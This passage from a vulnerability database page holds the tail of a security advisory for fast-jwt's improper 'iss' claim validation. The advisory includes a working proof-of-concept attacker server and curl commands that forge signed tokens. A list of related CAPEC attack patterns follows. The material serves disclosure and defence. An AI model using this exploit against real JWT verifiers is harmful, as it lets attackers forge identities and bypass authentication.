not\napp.get(\u0027/auth\u0027, verifyToken, (req, res) =\u003e {\n  res.json(req.decoded);\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require(\u0027crypto\u0027);\nconst express = require(\u0027express\u0027);\nconst pem2jwk = require(\u0027pem2jwk\u0027);\nconst jwt = require(\u0027jsonwebtoken\u0027);\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n        privateKeyEncoding: { type: \u0027pkcs1\u0027, format: \u0027pem\u0027 },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post(\u0027/create-token\u0027, (req, res) =\u003e {\n  const token = jwt.sign({ ...req.body, iss: [host, \u0027https://valid-iss\u0027],  }, privateKey, { algorithm: \u0027RS256\u0027 });\n  res.send(token);\n});\n\napp.get(\u0027/.well-known/jwks.json\u0027, (req, res) =\u003e {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: \u0027RS256\u0027,\n            use: \u0027sig\u0027,\n        }]\n    });\n})\n\napp.all(\u0027*\u0027, (req, res) =\u003e {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + \u0027.well-known/jwks.json\u0027\n    });\n});\n\napp.listen(port, () =\u003e {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d \u0027{\"name\": \"test\"}\u0027)\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.",
  "id": "GHSA-gm45-q3v2-6cf8",
  "modified": "2025-03-20T18:58:42Z",
  "published": "2025-03-19T15:48:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30144"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd"
    },
    {
      "type": "WEB",
      "url": "https://datatracker.ietf.org/doc/html/rfc7519#page-9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nearform/fast-jwt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fast-JWT Improperly Validates iss Claims"
}

No mitigation information available for this CWE.

CAPEC-21: Exploitation of Trusted Identifiers

An adversary guesses, obtains, or "rides" a trusted identifier (e.g. session ID, resource ID, cookie, etc.) to perform authorized actions under the guise of an authenticated user or service.

CAPEC-22: Exploiting Trust in Client

An attack of this type exploits vulnerabilities in client/server communication channel authentication and data integrity. It leverages the implicit trust a server places in the client, or more importantly, that which the server believes is the client. An attacker executes this type of attack by communicating directly with the server where the server believes it is communicating only with a valid client. There are numerous variations of this type of attack.

CAPEC-459: Creating a Rogue Certification Authority Certificate

An adversary exploits a weakness resulting from using a hashing algorithm with weak collision resistance to generate certificate signing requests (CSR) that contain collision blocks in their "to be signed" parts. The adversary submits one CSR to be signed by a trusted certificate authority then uses the signed blob to make a second certificate appear signed by said certificate authority. Due to the hash collision, both certificates, though different, hash to the same value and so the signed blob works just as well in the second certificate. The net effect is that the adversary's second X.509 certificate, which the Certification Authority has never seen, is now signed and validated by that Certification Authority.

CAPEC-461: Web Services API Signature Forgery Leveraging Hash Function Extension Weakness

An adversary utilizes a hash function extension/padding weakness, to modify the parameters passed to the web service requesting authentication by generating their own call in order to generate a legitimate signature hash (as described in the notes), without knowledge of the secret token sometimes provided by the web service.

CAPEC-473: Signature Spoof

An attacker generates a message or datablock that causes the recipient to believe that the message or datablock was generated and cryptographically signed by an authoritative or reputable source, misleading a victim or victim operating system into performing malicious actions.

CAPEC-476: Signature Spoofing by Misrepresentation

An attacker exploits a weakness in the parsing or display code of the recipient software to generate a data blob containing a supposedly valid signature, but the signer's identity is falsely represented, which can lead to the attacker manipulating the recipient software or its victim user to perform compromising actions.

CAPEC-59: Session Credential Falsification through Prediction

This attack targets predictable session ID in order to gain privileges. The attacker can predict the session ID used during a transaction to perform spoofing and session hijacking.

CAPEC-60: Reusing Session IDs (aka Session Replay)

This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.

CAPEC-667: Bluetooth Impersonation AttackS (BIAS)

An adversary disguises the MAC address of their Bluetooth enabled device to one for which there exists an active and trusted connection and authenticates successfully. The adversary can then perform malicious actions on the target Bluetooth device depending on the target’s capabilities.

CAPEC-94: Adversary in the Middle (AiTM)

An adversary targets the communication between two components (typically client and server), in order to alter or obtain data from transactions. A general approach entails the adversary placing themself within the communication channel between the two components.

← Back to the CWE list